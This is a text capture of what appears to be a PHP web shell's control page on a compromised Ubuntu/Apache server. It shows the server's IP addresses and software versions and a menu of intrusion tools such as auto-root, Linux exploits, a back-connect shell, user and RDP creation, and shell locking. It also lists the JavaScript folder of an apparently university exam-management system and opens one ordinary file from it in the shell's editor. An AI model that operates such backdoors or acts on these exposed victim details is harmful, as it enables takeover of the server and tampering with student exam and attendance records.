Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.116.24.238
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdu /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
New folder
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
base_file
[ DIR ]
drwxr-xr-x
events
[ DIR ]
drwxr-xr-x
nitte
[ DIR ]
drwxr-xr-x
popups
[ DIR ]
drwxr-xr-x
AbsentEntrySubjectWise.js
14.12
KB
-rwxr-xr-x
AbsentEntrySubjectWise_old.js
13.91
KB
-rwxr-xr-x
AbsentEntrySubjectWiseold.js
14.12
KB
-rwxr-xr-x
AllkeyEvent.js
37.16
KB
-rwxr-xr-x
Dispatch_answer_script.js
17.91
KB
-rwxr-xr-x
Dispatch_answer_script_qp.js
16.33
KB
-rwxr-xr-x
Dispatch_answer_script_qpold.j...
16.33
KB
-rwxr-xr-x
IdentifyTransactions.js
2.13
KB
-rwxr-xr-x
MainPage.js
14.58
KB
-rwxr-xr-x
Message_board.js
5.02
KB
-rwxr-xr-x
absententrysubjectwiseQP.js
16.36
KB
-rwxr-xr-x
absententrysubjectwiseQPold (2...
16.33
KB
-rwxr-xr-x
absententrysubjectwiseQPold.js
16.33
KB
-rwxr-xr-x
ack_exam_app_form.js
2.52
KB
-rwxr-xr-x
ack_exam_app_form_bulk - Copy....
2.06
KB
-rwxr-xr-x
ack_exam_app_form_bulk.js
2.06
KB
-rwxr-xr-x
ack_exam_app_form_oldformat.js
2.44
KB
-rwxr-xr-x
ack_rv_rt_application.js
2.45
KB
-rwxr-xr-x
admission_approve.js
27.47
KB
-rwxr-xr-x
admission_entry_status.js
1.06
KB
-rwxr-xr-x
admissionapplist.js
3.79
KB
-rwxr-xr-x
ansbookcancel.js
12.07
KB
-rwxr-xr-x
answer_book_issued.js
11.15
KB
-rwxr-xr-x
appstatus.js
2.57
KB
-rwxr-xr-x
attendance.js
6.64
KB
-rwxr-xr-x
attendance_freez.js
5.7
KB
-rwxr-xr-x
attendance_freez_mth.js
7.05
KB
-rwxr-xr-x
attshort.js
1.52
KB
-rwxr-xr-x
backup.js
2.73
KB
-rwxr-xr-x
backup_restore.js
1.36
KB
-rwxr-xr-x
boeselection.js
7.62
KB
-rwxr-xr-x
bundle_dispatch.js
7.82
KB
-rwxr-xr-x
bundlereceive.js
971
B
-rwxr-xr-x
bundlestatus.js
1.28
KB
-rwxr-xr-x
calendar-en.js
3.52
KB
-rwxr-xr-x
calendar-setup.js
8.65
KB
-rwxr-xr-x
calendar.js
48.08
KB
-rwxr-xr-x
calender.js
903
B
-rwxr-xr-x
candidate_list.js
39.62
KB
-rwxr-xr-x
candidate_list_com27092016.js
30.36
KB
-rwxr-xr-x
challan_entries.js
3.92
KB
-rwxr-xr-x
challan_preparation.js
2.77
KB
-rwxr-xr-x
checkbrowser.js
2.46
KB
-rwxr-xr-x
colldesp_ack.js
3.3
KB
-rwxr-xr-x
college.js
4.56
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.js
2.33
KB
-rwxr-xr-x
college_approve.js
19.79
KB
-rwxr-xr-x
college_degree_status.js
3.29
KB
-rwxr-xr-x
college_wise_degree_status.js
962
B
-rwxr-xr-x
collinfo_popup.js
11.62
KB
-rwxr-xr-x
control.js
17.13
KB
-rwxr-xr-x
convdet.js
5.9
KB
-rwxr-xr-x
daterange.js
9.18
KB
-rwxr-xr-x
degree.js
2.86
KB
-rwxr-xr-x
display_details_in_grid.php
101.68
KB
-rwxr-xr-x
doc_verification.js
1.79
KB
-rwxr-xr-x
downloadFeeStatement.js
770
B
-rwxr-xr-x
downloadStudentPhotos.js
1.64
KB
-rwxr-xr-x
downloadStudentPhotosold.js
1.08
KB
-rwxr-xr-x
download_misc_files.js
1.6
KB
-rwxr-xr-x
entryexitevents.js
1.23
KB
-rwxr-xr-x
export_import.js
1.83
KB
-rwxr-xr-x
export_import_setup.js
5.47
KB
-rwxr-xr-x
feeupdation.js
5.43
KB
-rwxr-xr-x
footer.js
6.32
KB
-rwxr-xr-x
form_submit.js
1.3
KB
-rwxr-xr-x
formatdate.js
12.14
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.js
2.83
KB
-rwxr-xr-x
freeze_module_at_admin_college...
5.69
KB
-rwxr-xr-x
freeze_module_at_university_co...
4.55
KB
-rwxr-xr-x
grid_display.js
901
B
-rwxr-xr-x
import_marks.js
1.37
KB
-rwxr-xr-x
includeCSS.js
1.28
KB
-rwxr-xr-x
index.js
15.16
KB
-rwxr-xr-x
index_BEFORE_LOGINPOPUP.js
4.88
KB
-rwxr-xr-x
invigilators_dairy.js
4.79
KB
-rwxr-xr-x
jquery.color.js
3.57
KB
-rwxr-xr-x
jquery.js
29.15
KB
-rwxr-xr-x
load-report-js-files.js
9.7
KB
-rwxr-xr-x
load_js_files.js
622
B
-rwxr-xr-x
load_mannual_js_files.js
38.12
KB
-rwxr-xr-x
load_mannual_js_files_before_u...
11.57
KB
-rwxr-xr-x
markentry_studentwise.js
9.29
KB
-rwxr-xr-x
markentry_subjectwise.js
15.89
KB
-rwxr-xr-x
markslistelement_report.js
5.92
KB
-rwxr-xr-x
mascomb.js
15.34
KB
-rwxr-xr-x
message_text.js
1.33
KB
-rwxr-xr-x
module_setup.js
4.44
KB
-rwxr-xr-x
month_cal.js
63.03
KB
-rwxr-xr-x
month_cal1.js
1.96
KB
-rwxr-xr-x
openPopUp.js
4.94
KB
-rwxr-xr-x
photoupload.js
4.45
KB
-rwxr-xr-x
popup.js
123.03
KB
-rwxr-xr-x
popupold.js
57.4
KB
-rwxr-xr-x
printExamform.js
718
B
-rwxr-xr-x
receive_rv_rt_application.js
2.66
KB
-rwxr-xr-x
report_SubjectListGeneral.js
3.26
KB
-rwxr-xr-x
report_setup.js
12.46
KB
-rwxr-xr-x
results_pdf.js
851
B
-rwxr-xr-x
revaluation.js
7.56
KB
-rwxr-xr-x
revaluation_oldtype.js
4.65
KB
-rwxr-xr-x
revaluation_withdegree.js
7.5
KB
-rwxr-xr-x
room_allotment.js
4.59
KB
-rwxr-xr-x
room_allotment_datewise.js
6.52
KB
-rwxr-xr-x
roomallotmantsummary.js
859
B
-rwxr-xr-x
roomdeclaration.js
6.28
KB
-rwxr-xr-x
rv_rt_guide_lines.js
428
B
-rwxr-xr-x
rvdates.js
8.08
KB
-rwxr-xr-x
sectionwisepermission.js
4.71
KB
-rwxr-xr-x
servicehead.js
9.02
KB
-rwxr-xr-x
serviceheadfee.js
10.71
KB
-rwxr-xr-x
services.js
7.96
KB
-rwxr-xr-x
student.php
5.23
KB
-rwxr-xr-x
studentWiseIAMarksPending.js
814
B
-rwxr-xr-x
student_entry.js
45.16
KB
-rwxr-xr-x
student_entry24.js
50.71
KB
-rwxr-xr-x
student_entry_24112017.js
43.39
KB
-rwxr-xr-x
student_entryold.js
33.98
KB
-rwxr-xr-x
studentphotolist.js
1.63
KB
-rwxr-xr-x
subjectAppearing_PopUp.js
1.92
KB
-rwxr-xr-x
subject_freshExam.js
11.11
KB
-rwxr-xr-x
subjectfreez.js
11.69
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
5.79
KB
-rwxr-xr-x
subjectwise_invigilator_dairy....
1.23
KB
-rwxr-xr-x
subshort.js
4.22
KB
-rwxr-xr-x
sum.php
116
B
-rwxr-xr-x
system.js
12.41
KB
-rwxr-xr-x
system_utility.js
8.69
KB
-rwxr-xr-x
teachers.js
21.63
KB
-rwxr-xr-x
teachersOLD.js
13.7
KB
-rwxr-xr-x
teachersnew.js
21.4
KB
-rwxr-xr-x
topsheet.js
765
B
-rwxr-xr-x
transaction-series.js
6.5
KB
-rwxr-xr-x
updateSection.js
2.74
KB
-rwxr-xr-x
updateexamcnt.js
3.55
KB
-rwxr-xr-x
uploadStudentPhotos.js
3.69
KB
-rwxr-xr-x
uploadStudentPhotos_beforedown...
3.52
KB
-rwxr-xr-x
upload_details.js
4.03
KB
-rwxr-xr-x
uploadzip.js
3.96
KB
-rwxr-xr-x
usersetup.js
30.1
KB
-rwxr-xr-x
usersubj_identification.js
4.53
KB
-rwxr-xr-x
validate.js
9.65
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : absententrysubjectwiseQPold.js
$g_abs_entry_default_data=''; $g_abs_table_header_data=''; $g_abs_save_after_error_flag=0; $g_abs_valid_reg_no=''; $g_abs_entry_type=''; $g_check=''; var $g_table_data=$("#abs_entry_table_header").html(); function LoadabsententrysubjectwiseQP() { $g_abs_popup=1; $NumTextBox=1; $g_abs_save_after_error_flag=0; window.enable_proper_module="absententrystudetwiseQP"; $("#page_main_div").load('html_modules/absent_entry_qp.html',function() { $module_name=($g_screen_type=='ab')?"Absent Entry Subjectwise QP":"Mal Practice Entry Subjectwise QP"; $g_abs_entry_type=($g_screen_type=='ab')?"QpA":"QpM"; document.getElementById('display_module_name').innerHTML =$module_name; document.getElementById('module_name_for_save').value = 'SaveAbsentEntrySubjectwiseQP'; document.getElementById('header_name').value = 'SaveAbsentEntrySubjectwiseQP'; $("#header_name").html($module_name); document.getElementById('is_add_edit').value = 'Edit'; clearabsenttextboxs(); disableAbsentEntryButton(); getDefaultHeadFooterLinks('Absent Entry QP Code'); $g_abs_table_header_data=$("#abs_entry_table_header").html(); BindAbsentSubCategoryDropDown(); $("#abs_entry_sub_degree_code").focus(); $g_abs_entry_default_data=''; $("#abs_default_reg_div").html(''); $("#abs_default_reg_div").hide(); $("#print_row").hide(); } ); $('#module_details_div').hide(); } function clearabsenttextboxs() { $("#abs_entry_sub_degree_code").val(""); $("#abs_sub_degree_name").val(""); $("#abs_sub_Examno").val(""); $('#abs_sub_Exam_name').val(''); $('#abs_sub_final_subcode').val(''); $('#abs_sub_fsubname').val(''); $('#abs_sub_fssubname').val(''); $('#abs_entry_shortname').val(''); $('#abs_sub_date').val(''); $('#abs_sub_range').val(''); } function enableNewAbsentEntryQp() { $("#abs_default_reg_div").hide(); $("#abs_main_mark_entry_div").show(); $("#abs_subwise_regno_1").focus(); $g_focus_element="1"; } function RemovingTrFromAbsentTableQp() { document.getElementById("abs_entry_table_header").innerHTML=""; $("#abs_entry_table_header").html($g_abs_table_header_data); } function BindAbsentSubCategoryDropDown() { $.ajax({ type: "POST", data:"type="+$g_screen_type, url: $host_url+"GetSubSubjectCategory.demo", success: FillAbsentDropDownData }); document.getElementById("abs_entry_table_header").innerHTML=""; } function FillAbsentDropDownData($responce) { $responce = eval('(' + $responce + ')'); document.getElementById('abs_SubCategory').options.length=0; for($i=0;$i <$responce.data.length;$i++) { $op = new Option($responce.data[$i]['Name'], $responce.data[$i]['Code']); $op.id=$responce.data[$i]['Name'];//specifying the id for options document.getElementById('abs_SubCategory').options.add($op); document.getElementById('abs_SubCategory').disabled= true; } } function GetDefaultAbsMPEntryQp() { $("#abs_main_mark_entry_div").hide(); //changeButtonImage('view_row'); if( document.getElementById('is_add_edit').value=='Add') $type='Add'; else $type='Edit'; $limit=10; document.getElementById('is_add_edit').value = 'Edit'; if($("#abs_entry_qp_code").val()=="") { alert("Please Enter QP Code"); $("#abs_entry_qp_code").focus(); return; }if(empty($("#abs_sub_date").val())) { return false; } $list_data ="Degcode="+$("#abs_entry_sub_degree_code").val(); $list_data ="qp_code="+$("#abs_entry_qp_code").val(); $list_data+="&Subcode="+$("#abs_sub_final_subcode").val(); $list_data+="&Examno="+$("#abs_sub_Examno").val(); $list_data+="&FDOE="+date_format($("#abs_sub_date").val()); $list_data+="&FSESSION="+($("#abs_session_state").val()); $list_data+="&ScreenType="+$g_abs_entry_type; $.ajax({ type: "POST", //async:false, url: $host_url+"getDefaultAbsentEntrySubjectRegNosQp.demo", data:$list_data+"&range="+encodeURIComponent(trim($("#abs_sub_range").val()))+"&type="+$type+"&limit="+$limit, success: GetDefaultAbsMPEntryQpResponse }); } function GetDefaultAbsMPEntryQpResponse($responce) { $responce = eval('(' + $responce + ')'); if($responce.error_code==0) { $("#abs_default_reg_div").show(); $("#abs_default_reg_div").html($responce.data.html); $g_abs_entry_default_data=$responce.data.table_data; $('#add_row').focus(); AddNewQpRow(); } } function AddNewQpRow() { if($("#tbl_absent_subjectwise").length>0) var last_row_id=($("#tbl_absent_subjectwise tr:last")[0]['id'].split("_")[2]); else var last_row_id=($("#abs_entry_table_header tr:last")[0]['id'].split("_")[2]); if(empty(last_row_id)) last_row_id=1; else last_row_id=eval(parseInt(last_row_id)+1); prev_row=eval(parseInt(last_row_id)-1) if(last_row_id>1 && prev_row>1 && empty($("#abs_subwise_regno_"+prev_row).val())) { return false; } var html="<tr class='ui-widget-content jqgrow' id='qp_row_"+last_row_id+"' >"; html+="<td class='tbl_row_new' align='center' style='width:111px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px;'> "; html+="<input id='abs_subwise_regno_"+last_row_id+"' type='text' style='width:70px;border:0px' "; html+="onkeypress='return pulsar(event,this);' onblur='CheckAbsentEntryRegNoQp(this.id,"+last_row_id+");'"; html+="onkeydown='return KayboardGetRegno(event,this.id)' onfocus='$g_focus_element="+last_row_id+"'; />"; html+="</td>"; html+="<td class='tbl_row_new' align='left' style='width: 160px;padding:2px; border-right:1px solid #C5DBEC;' align='left' id='abs_subwise_stuname_"+last_row_id+"' >"; html+="</td>"; html+="<td class='tbl_row_new' align='center' style='width:60px; padding:2px; border-right:1px solid #C5DBEC;' align='left'>"; html+="<input type='checkbox' id='abs_check_"+last_row_id+"' onblur='AddNewQpRow()'> "; html+="<input id='st_"+last_row_id+"' type=hidden value='I'> "; html+="</td>"; html+="</tr>"; if($("#tbl_absent_subjectwise").length>0) $("#tbl_absent_subjectwise").append(html); else $("#abs_entry_table_header").append(html); $("#abs_subwise_regno_"+last_row_id).focus(); } function MarkEnterySubjectWiseTableNextPage() { $RegnoTextbox = document.getElementsByName('Regno'); $Len = parseInt($RegnoTextbox.length); $lastRegno=$RegnoTextbox[$Len-1].value; $list_data ="Degcode="+$("#abs_entry_sub_degree_code").val(); $list_data+="&Subcode="+$("#abs_sub_final_subcode").val(); $list_data+="&Examno="+$("#abs_sub_Examno").val(); $list_data+="&ScreenType="+$g_abs_entry_type; $list_data+="&LastRegno="+$lastRegno; $list_data+="&FirstRegno=''"; $.ajax({ type: "POST", //async:false, url: $host_url+"getDefaultAbsentEntrySubjectRegNosQp.demo", data:$list_data+"&range="+encodeURIComponent(trim($("#markentry_sub_range").val()))+"&type="+$type+"&limit="+$limit, success: GetDefaultAbsMPEntryQpResponse }); } function MarkEnterySubjectWiseTablePrevPage() { $RegnoTextbox = document.getElementsByName('Regno'); $Len = parseInt($RegnoTextbox.length); $FirstRegno=$RegnoTextbox[1].value; $list_data ="Degcode="+$("#abs_entry_sub_degree_code").val(); $list_data+="&Subcode="+$("#abs_sub_final_subcode").val(); $list_data+="&Examno="+$("#abs_sub_Examno").val(); $list_data+="&ScreenType="+$g_abs_entry_type; $list_data+="&FirstRegno="+$FirstRegno; $list_data+="&LastRegno=''"; $.ajax({ type: "POST", //async:false, url: $host_url+"getDefaultAbsentEntrySubjectRegNosQp.demo", data:$list_data+"&range="+encodeURIComponent(trim($("#markentry_sub_range").val()))+"&type="+$type+"&limit="+$limit, success: GetDefaultAbsMPEntryQpResponse }); } function CheckAbsentEntryRegNoQp($id,$tr_id) { var module_name_for_save=document.getElementById('module_name_for_save').value ; $ids = document.getElementById($id); $Regno = $ids.value; if($Regno!='' && $g_abs_save_after_error_flag==0) { $.ajax({ type: "POST", async:false, data: "Regno="+$Regno+"&id="+$id+"&module_name_for_save="+module_name_for_save, url: $host_url+"CheckEnteredRegisterNo.demo", success: PopulateAbsentCheckRegisterNoQpResponse }); } else { $("#abs_subwise_stuname_"+$tr_id).val(""); $("#abs_subwise_regno_"+$tr_id).focus(); return false; } } //////////////////////// Check Register Number Response function PopulateAbsentCheckRegisterNoQpResponse($responce) { $responce = eval('(' + $responce + ')'); if($responce.error_code == 0) { $g_abs_valid_reg_no=1; $check_dup=$responce.data.fregno; $check_dup_flag=0; var obj=$("input[id*='abs_subwise_regno_']"); jQuery.each(obj, function(k, v) { row_id=v['id'].split("_")[3]; var FRegno=$("#abs_subwise_regno_"+row_id).val(); if(row_id!=$responce.data.id && ($check_dup==FRegno )) $check_dup_flag=1; }); if($check_dup_flag==0) { $g_check=1; document.getElementById("abs_subwise_stuname_"+ $responce.data['id']).innerHTML = $responce.data['fname']; document.getElementById("abs_check_"+ $responce.data['id']).focus(); return true; } else { $g_abs_valid_reg_no=0; document.getElementById("abs_subwise_regno_"+ $responce.data['id']).value=""; document.getElementById("abs_subwise_stuname_"+ $responce.data['id']).value=""; alert($responce.data['fregno']+ " allready Selected"); return false; } } else { $g_abs_valid_reg_no=0; alert("Invaild Register Number"); document.getElementById("abs_subwise_stuname_"+$responce.data).innerHTML =''; //document.getElementById("abs_subwise_regno_"+ $responce.data).value=''; return false; } } function CreateNextRowAbsentEntryQpsssssssssssss($id) { $Textbox = document.getElementsByName("absent_subjectwise"); $NumTextBox = $Textbox.length; $previous_NumTextBox=$Textbox.length; $sub = $id.substring($id.lastIndexOf('_')+1); // get Previous Register Number $PrevRegNo = $("#abs_subwise_regno_"+$NumTextBox).val(); $fn = function(){return AbsentEntryPopup(window, e, null);}; $NumTextBox+=1; if(parseInt($NumTextBox%2)==0) { $input_class="tbl_row_input"; $class='tbl_row'; } else { $class='tbl_row1'; $input_class="tbl_row1_input"; } if($g_abs_valid_reg_no==1 && $sub==$previous_NumTextBox &&$PrevRegNo!="") { document.getElementById("abs_subwise_regno_"+$previous_NumTextBox).readOnly=true; $tbody = document.getElementById("abs_entry_table_header"); $rowcount = $tbody.rows.length; $tr = $tbody.insertRow($rowcount); $tr.id= $NumTextBox; $tr.className=$class; // Create Register Number Textbox $td_one = $tr.insertCell(0); $Regno =document.createElement("input"); $Regno.type= "text"; $Regno.className= $input_class; $Regno.id="abs_subwise_regno_"+$NumTextBox; $Regno.name= "absent_subjectwise"; $Regno.align = "center"; $td_one.style.borderLeft = "solid #C5DBEC 1px"; $td_one.style.borderRight = "solid #C5DBEC 1px"; $td_one.style.borderBottom = "solid #C5DBEC 1px"; $td_one.style.padding="2px"; $Regno.onkeydown=AbsentEntryPopup; $Regno.onblur=function(){CheckAbsentEntryRegNoQp(this.id,$NumTextBox);} $td_one.appendChild($Regno); $td_one.style.width = "111px"; $td_one.align = "center"; // Create Student Name TD $td_two= $tr.insertCell(1); $td_two.id ="abs_subwise_stuname_"+$NumTextBox; $td_two.style.width = "160px"; $td_two.align = "left"; $td_two.style.borderRight = "solid #C5DBEC 1px"; $td_two.style.borderBottom = "solid #C5DBEC 1px"; $td_two.style.padding="2px"; // Create Check Box $td_three=$tr.insertCell(2); $status =document.createElement("input"); $status.type= "checkbox"; $status.checked= "checked"; $status.className= $input_class; $status.id="abs_subwise_checkstatus_"+$NumTextBox; $status.align = "center"; $status.onblur=function(){CreateNextRowAbsentEntryQp(this.id);} $status.onfocus=function() {if($g_abs_valid_reg_no==0) $("#abs_subwise_regno_"+$NumTextBox).focus();} $td_three.style.width = "40px"; $td_three.style.borderRight = "solid #C5DBEC 1px"; $td_three.style.borderBottom = "solid #C5DBEC 1px"; $td_three.style.padding="2px"; $td_three.align="center"; $td_three.appendChild($status); document.getElementById("abs_subwise_regno_"+$NumTextBox).style.width="70px"; document.getElementById("abs_subwise_regno_"+$NumTextBox).align="center"; document.getElementById("abs_subwise_regno_"+$NumTextBox).style.border="0px"; document.getElementById("abs_subwise_stuname_"+$NumTextBox).style.width="168px"; document.getElementById("abs_subwise_stuname_"+$NumTextBox).style.padding="4px"; setfocus(); } } function AbsentEntryPopup(evt) { var kC = (evt.which) ? evt.which : evt.keyCode; if(kC==112) { $g_abs_popup=1; PopupMarkEntrySubGetRegno(); } } function setfocus() { $Textbox = document.getElementsByName("absent_subjectwise"); $Num = $Textbox.length; $("#abs_subwise_regno_"+$Num).focus(); } function SaveAbsEntryQpStudetwise() { if($("#abs_entry_qp_code").val()=="") { alert("Please Enter The Qp Code"); $("#abs_entry_qp_code").focus(); return false; } $list_data ="qp_code="+$("#abs_entry_qp_code").val(); $list_data+="&ScreenType="+$g_abs_entry_type; $list_data+="&date="+date_format($("#abs_sub_date").val()); $list_data+="&Session="+$("#abs_session_state").val(); $abs_setup_subwise = new Object(); var obj=$("input[id*='abs_subwise_regno_']"); var k=0; jQuery.each(obj, function(k, v) { row_id=v['id'].split("_")[3]; $abs_setup_subwise[k]= new Object(); var a_type=$("#st_"+row_id).val(); var FRegno=$("#abs_subwise_regno_"+row_id).val(); if($("#abs_check_"+row_id).is(':checked')) $abs_setup_subwise[k]['delete']=1; else $abs_setup_subwise[k]['delete']=0; $abs_setup_subwise[k]['FRegno']=FRegno; $abs_setup_subwise[k]['a_type']=a_type; k++; }); /* // ######################### For Edit Update#################################### if(document.getElementById('is_add_edit').value=='Edit') { for($k=0;$k<$g_abs_entry_default_data.length;$k++) { $id=$g_abs_entry_default_data[$k]['FREGNO']; $abs_setup_subwise[$k]= new Object(); $abs_setup_subwise[$k]['FRegno']=$("#abs_reg_no_"+$id).val(); if($("#abs_check_"+$id).is(':checked')) $abs_setup_subwise[$k]['cheked']=1; else $abs_setup_subwise[$k]['cheked']=0; } var myJSONText = encodeURIComponent(JSON.stringify($abs_setup_subwise)); $list_data+="&output_details="+myJSONText; } // ######################### For Add#################################### else if(document.getElementById('is_add_edit').value=='Add') { $Textbox = document.getElementsByName("absent_subjectwise"); $NumRow = $Textbox.length; $abs_all_reg_nos=''; //alert($NumRow); $count =1; for($i=1;$i<=$NumRow;$i++) { if($("#abs_subwise_checkstatus_"+$i).is(':checked') && $("#abs_subwise_regno_"+$i).val()!='') { $abs_setup_subwise[$count]= new Object(); $abs_all_reg_nos+="'"+$("#abs_subwise_regno_"+$i).val()+"',"; $abs_setup_subwise[$count]['FRegno']=$("#abs_subwise_regno_"+$i).val(); //alert($("#abs_subwise_regno_"+$i).val()); $count++; } } var myJSONText = encodeURIComponent(JSON.stringify($abs_setup_subwise)); $list_data+="&output_details="+myJSONText+"&all_reg_nos="+encodeURIComponent($abs_all_reg_nos); } */ var myJSONText = encodeURIComponent(JSON.stringify($abs_setup_subwise)); $list_data+="&output_details="+myJSONText; $.ajax({ type: "POST", async:false, url: $host_url+"SaveAbsEntryQpStudetwise.demo", data:$list_data, success: SaveAbsEntryQpStudetwiseResponce }); } function SaveAbsEntryQpStudetwiseResponce($responce) { $responce = eval('(' + $responce + ')'); if($responce.error_code==0) { alert($responce.data); absententrysubjectwiseQP(); //clearabsenttextboxs(); //RemovingTrFromAbsentTableQp(); //$('#abs_entry_qp_code').focus; //$g_abs_save_after_error_flag=0; } else { alert($responce.data); $g_abs_save_after_error_flag=1; $("#abs_subwise_regno_1").focus(); } } function disableAbsentEntryButton() { /* document.getElementById("row_edit").setAttribute("class", "tarkabutton-disabled"); document.getElementById("delete_row").setAttribute("class", "tarkabutton-disabled"); document.getElementById("add_row").setAttribute("class", "tarkabutton-disabled"); document.getElementById("save_row").setAttribute("class", "tarkabutton-disabled"); */ } function AddAbsentEntryQp() { $('#header_add').hide(); document.getElementById('is_add_edit').value="Add"; RemovingTrFromAbsentTableQp(); enableNewAbsentEntryQp(); $("#abs_default_reg_div").html(""); $("#abs_default_reg_div").hide(); }
Close